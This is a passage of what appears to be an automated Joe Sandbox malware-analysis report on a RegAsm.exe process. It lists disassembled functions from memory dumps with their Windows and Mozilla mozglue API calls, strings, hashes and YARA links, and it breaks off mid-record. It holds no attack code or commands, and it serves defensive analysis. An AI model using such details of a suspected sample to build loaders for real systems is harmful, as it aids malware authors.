Instruction ID: 50de9df5f87ad77eb031dc94815d0013ed19ce73efbeceace7c97849f90fee7e
Opcode Fuzzy Hash: 5f2f51bfbe90337ca5e895f9776451138895015e5f3a8196a904fc3d9a46e3df
Instruction Fuzzy Hash: 82113CB2904518ABCB14DFC9DD45FBEB7B9FB4CB11F10411AF605A2290D3795941C7B4

Function 6CA56CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CA56D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA56E1E

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 220f6e3224d04340ad7f02497ec881710c4b85d877bbc6d6337b969bfd186854
Instruction ID: 6f2b7256ff7771e48e4edd00b178faac71e92c43950c333b6915f52e0f4e25c2
Opcode Fuzzy Hash: 220f6e3224d04340ad7f02497ec881710c4b85d877bbc6d6337b969bfd186854
Instruction Fuzzy Hash: 5CA180746183818FD715CF25C5907AEFBF2BF89308F44891DE88A87751DB70A899CB92

Function 6CA785F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA78C7C
__aulldiv.LIBCMT ref: 6CA78DD7

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 236d19bd602cac76b3d6e21e36af5de81d7f31041d9f5fd2f4a0afe4df0bd6d1
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: EB327035F011198BDF18CE9DC8A17EEB7B2FB88700F15853AD506BB790DA349D858BA1

Function 6CA55C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CA24A63,?,?), ref: 6CA55F06

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 1373ec63de5296baec81fa78438cad778018587dbe8f3e8c7ed213cf0254c875
Instruction ID: 305ed4f12677996fdd4e42c53f61617e518856d62829d905693dd6103b3cafa8
Opcode Fuzzy Hash: 1373ec63de5296baec81fa78438cad778018587dbe8f3e8c7ed213cf0254c875
Instruction Fuzzy Hash: FFC1D475E012098BCB04CF95C5906DEBBF2FF8A318F68815DD8556BB45D7326899CB80

Function 0041C8D9 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001C897), ref: 0041C8DE

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 92af57a2eb04ab3802c4d219b965fa46d3e89a576cd6fa8fbae2cab6dd9d340f
Instruction ID: 8e4dbfb736b9908720f30fe25f95c1a3b6087da1e007f902b0e4d68da9f23204
Opcode Fuzzy Hash: 92af57a2eb04ab3802c4d219b965fa46d3e89a576cd6fa8fbae2cab6dd9d340f
Instruction Fuzzy Hash: 8D9002B829111456561037719D896896D905ACC6137554861B405C4055EA9841849529

Function 6CA876E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: d98a735a751095a9048ed85450c279a3cd3a2771fabe63ae392e8e8bf9a1c6d0
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: A9320871E016198FCB14CF99C890AADFBB2FF88304F688169D949E7745D731A986CF90

Function 6CA40512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: adb003e034d16db3cc3a0f390359f98a3a3f43c0241ed7fd5122e18f7bf522ea
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 46221871E04629CFDB14CF98C890AADFBB2FF88304F588599D54AA7745D731A986CF80

Function 6CA8AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aaf8589099bec15bbfa667ac3d23ad4f2ea300087aae451f1b5a4115b85304e7
Instruction ID: 7de5e0214ee0fc0f2fc1670fb4f28cda59c51a56bf31e1539c6f45deeaad40f7
Opcode Fuzzy Hash: aaf8589099bec15bbfa667ac3d23ad4f2ea300087aae451f1b5a4115b85304e7
Instruction Fuzzy Hash: 10F14871A0A7458FD700CE28C8903AAB7E3AFC5318F188A2DE5D5877C1E7749CC98792

Function 00419160 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 6CA755F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6CA4E1A5), ref: 6CA75606
LoadLibraryW.KERNEL32(gdi32,?,6CA4E1A5), ref: 6CA7560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CA75633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CA7563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CA7566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CA7567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CA75696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CA756B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CA756CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CA756E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CA756FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CA75716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CA7572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CA75748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CA75761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CA7577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CA75793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CA757A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CA757BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CA757D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CA757EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CA757FF

Strings

AreDpiAwarenessContextsEqual, xrefs: 6CA75637
FillRect, xrefs: 6CA75729
ReleaseDC, xrefs: 6CA75742
EnableNonClientDpiScaling, xrefs: 6CA75666
GetThreadDpiAwarenessContext, xrefs: 6CA7562D
StretchDIBits, xrefs: 6CA757CC
RegisterClassW, xrefs: 6CA756AC
LoadCursorW, xrefs: 6CA75774
DeleteObject, xrefs: 6CA757F9
MonitorFromWindow, xrefs: 6CA7578D
CreateSolidBrush, xrefs: 6CA757E4
SetWindowLongPtrW, xrefs: 6CA757B7
gdi32, xrefs: 6CA7560A
ShowWindow, xrefs: 6CA756DE
GetSystemMetricsForDpi, xrefs: 6CA75677
SetWindowPos, xrefs: 6CA756F7
CreateWindowExW, xrefs: 6CA756C5
GetDpiForWindow, xrefs: 6CA75690
LoadIconW, xrefs: 6CA7575B
user32, xrefs: 6CA75601
GetMonitorInfoW, xrefs: 6CA757A2
GetWindowDC, xrefs: 6CA75710

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 18e6870640106d95d3a3d11d137ddf16036356130e56ac2cf8b0c0db1ff96ac0
Instruction ID: 35ca8783d90ae93ad6f1ea20d229ab6e6d2e6ab6dc502b864851dee1a72ba63a
Opcode Fuzzy Hash: 18e6870640106d95d3a3d11d137ddf16036356130e56ac2cf8b0c0db1ff96ac0
Instruction Fuzzy Hash: 725133B4A217039FEF149F359D4A92A3AFCBB06245714C52DB912E2A51EF74CC829F70

Function 6CA5CC00 Relevance: 75.2, APIs: 25, Strings: 25, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CA2582D), ref: 6CA5CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CA2582D), ref: 6CA5CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CA8FE98,?,?,?,?,?,6CA2582D), ref: 6CA5CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CA2582D), ref: 6CA5CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CA2582D), ref: 6CA5CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CA2582D), ref: 6CA5CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA2582D), ref: 6CA5CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CA5CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CA5CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CA5CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CA5CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CA5CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CA5CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CA5CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CA5CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CA5CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CA5CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CA5CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CA5CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CA5CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CA5CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CA5CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CA5CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CA5CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CA5CE8A

Strings

notimerresolutionchange, xrefs: 6CA5CE00
fileio, xrefs: 6CA5CC92
Unrecognized feature "%s"., xrefs: 6CA5CEA0
nativeallocations, xrefs: 6CA5CDA8
samplingallthreads, xrefs: 6CA5CE2C
power, xrefs: 6CA5CE84
nostacksampling, xrefs: 6CA5CD7C
default, xrefs: 6CA5CC21
java, xrefs: 6CA5CC37
fileioall, xrefs: 6CA5CCA8
ipcmessages, xrefs: 6CA5CDBE
seqstyle, xrefs: 6CA5CCE6
unregisteredthreads, xrefs: 6CA5CE58
markersallthreads, xrefs: 6CA5CE42
audiocallbacktracing, xrefs: 6CA5CDD4
processcpu, xrefs: 6CA5CE6E
stackwalk, xrefs: 6CA5CCF8
Q^, xrefs: 6CA5CD25
leaf, xrefs: 6CA5CC66
mainthreadio, xrefs: 6CA5CC7C
screenshots, xrefs: 6CA5CCD4
noiostacks, xrefs: 6CA5CCBE
jsallocations, xrefs: 6CA5CD0E
preferencereads, xrefs: 6CA5CD92
cpuallthreads, xrefs: 6CA5CE16

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$Q^$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-1065946776
Opcode ID: 2bd945b14fb3057ad58aa25316b6714b361c3ebb0839b0e3c41a322f5fa0d394
Instruction ID: eafb4d3840d1b2eef939265c587b2489c9241b0d2f799ade09531f84c9e7a15c
Opcode Fuzzy Hash: 2bd945b14fb3057ad58aa25316b6714b361c3ebb0839b0e3c41a322f5fa0d394
Instruction Fuzzy Hash: 9651CCD2A0732517FA0030257D11BAA1444FF5B24DF94D039FE05E1E84FB2996EE85B7

Function 6CA24470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA24730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CA244B2,6CA9E21C,6CA9F7F8), ref: 6CA2473E
Part of subcall function 6CA24730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CA2474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CA244BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CA244D2
InitOnceExecuteOnce.KERNEL32(6CA9F80C,6CA1F240,?,?), ref: 6CA2451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CA2455C
LoadLibraryW.KERNEL32(?), ref: 6CA24592
InitializeCriticalSection.KERNEL32(6CA9F770), ref: 6CA245A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CA245AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CA245BB
InitOnceExecuteOnce.KERNEL32(6CA9F818,6CA1F240,?,?), ref: 6CA24612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CA24636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CA24644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CA2466D
VerSetConditionMask.NTDLL ref: 6CA2469F
VerSetConditionMask.NTDLL ref: 6CA246AB
VerSetConditionMask.NTDLL ref: 6CA246B2
VerSetConditionMask.NTDLL ref: 6CA246B9
VerSetConditionMask.NTDLL ref: 6CA246C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CA246CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CA246F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CA246FD

Strings

kernel32.dll, xrefs: 6CA244CD
NativeNtBlockSet_Write, xrefs: 6CA246F7
WRusr.dll, xrefs: 6CA244B5
l, xrefs: 6CA24578
user32.dll, xrefs: 6CA24557, 6CA2463F

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 1282cb89540ac6e91aeef06bd3d43cef58e8506f8654c50b7cbd76cd5c4bc814
Instruction ID: a3844ab4f40f80f300d433e0a3d6070d72f7d37c3456a0e511de5b4dc6ab360e
Opcode Fuzzy Hash: 1282cb89540ac6e91aeef06bd3d43cef58e8506f8654c50b7cbd76cd5c4bc814
Instruction Fuzzy Hash: 9F6102B06203559FEB148F24DC4BB957BF8EB42308F08C15CF9449B641DB7889C6CBA0

Function 6CA5F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA24A68), ref: 6CA5945E
Part of subcall function 6CA59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA59470
Part of subcall function 6CA59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA59482
Part of subcall function 6CA59420: __Init_thread_footer.LIBCMT ref: 6CA5949F

GetCurrentThreadId.KERNEL32 ref: 6CA5F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CA5F8F9

Part of subcall function 6CA26390: GetCurrentThreadId.KERNEL32 ref: 6CA263D0
Part of subcall function 6CA26390: AcquireSRWLockExclusive.KERNEL32 ref: 6CA263DF
Part of subcall function 6CA26390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CA2640E

ReleaseSRWLockExclusive.KERNEL32(6CA9F4B8), ref: 6CA5F93A
GetCurrentThreadId.KERNEL32 ref: 6CA5F98A
GetCurrentThreadId.KERNEL32 ref: 6CA5F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA5F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA5F716

Part of subcall function 6CA594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA594EE
Part of subcall function 6CA594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA59508

Part of subcall function 6CA1B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CA1B5E0

GetCurrentThreadId.KERNEL32 ref: 6CA5F739
AcquireSRWLockExclusive.KERNEL32(6CA9F4B8), ref: 6CA5F746
GetCurrentThreadId.KERNEL32 ref: 6CA5F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CA9385B,00000002,?,?,?,?,?), ref: 6CA5F829
free.MOZGLUE(?,?,00000000,?), ref: 6CA5F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CA5F866
free.MOZGLUE(?), ref: 6CA5FA0C

Part of subcall function 6CA25E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA255E1), ref: 6CA25E8C
Part of subcall function 6CA25E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA25E9D
Part of subcall function 6CA25E60: GetCurrentThreadId.KERNEL32 ref: 6CA25EAB
Part of subcall function 6CA25E60: GetCurrentThreadId.KERNEL32 ref: 6CA25EB8
Part of subcall function 6CA25E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA25ECF
Part of subcall function 6CA25E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CA25F27
Part of subcall function 6CA25E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CA25F47
Part of subcall function 6CA25E60: GetCurrentProcess.KERNEL32 ref: 6CA25F53
Part of subcall function 6CA25E60: GetCurrentThread.KERNEL32 ref: 6CA25F5C
Part of subcall function 6CA25E60: GetCurrentProcess.KERNEL32 ref: 6CA25F66
Part of subcall function 6CA25E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CA25F7E

free.MOZGLUE(?), ref: 6CA5F9C5
free.MOZGLUE(?), ref: 6CA5F9DA

Strings

